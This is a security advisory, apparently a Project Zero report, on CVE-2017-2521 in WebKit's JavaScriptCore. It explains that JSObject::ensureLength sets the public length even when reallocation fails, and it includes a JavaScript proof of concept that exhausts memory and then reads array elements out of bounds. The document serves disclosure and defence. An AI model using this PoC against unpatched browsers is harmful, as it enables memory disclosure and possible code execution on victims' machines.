WebKit JSC JSObject::ensureLength Failure Check CVE-2017-252

` WebKit: JSC: JSObject::ensureLength doesn't check if ensureLengthSlow failed.   
  
CVE-2017-2521  
  
  
Here's a snippet of JSObject::ensureLength.  
  
bool WARN_UNUSED_RETURN ensureLength(VM& vm, unsigned length)  
{  
ASSERT(length < MAX_ARRAY_INDEX);  
ASSERT(hasContiguous(indexingType()) || hasInt32(indexingType()) || hasDouble(indexingType()) || hasUndecided(indexingType()));  
  
bool result = true;  
if (m_butterfly.get()->vectorLength() < length)  
result = ensureLengthSlow(vm, length);  
  
if (m_butterfly.get()->publicLength() < length)  
m_butterfly.get()->setPublicLength(length);  
return result;  
}  
  
|setPublicLength| is called whether |ensureLengthSlow| failed or not. So the |publicLength| may be lager than the actual allocated memory's size, which results in an OOB access.  
  
Tested on Linux.  
  
PoC:  
const kArrayLength = 0x200000;  
  
let arr = new Array(kArrayLength);  
arr.fill({});  
  
let exh = [];  
try {  
for (;;) {  
exh.push(new ArrayBuffer(kArrayLength * 8 * 8));  
}  
} catch (e) {  
}  
  
try {  
arr.length *= 8;  
print('failed');  
} catch (e) {  
print(e);  
  
exh = null;  
  
print('arr length: ' + arr.length.toString(16));  
for (let i = kArrayLength, n = arr.length; i < n; i++) {  
if (arr[i])  
print(arr[i]);  
}  
}  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.
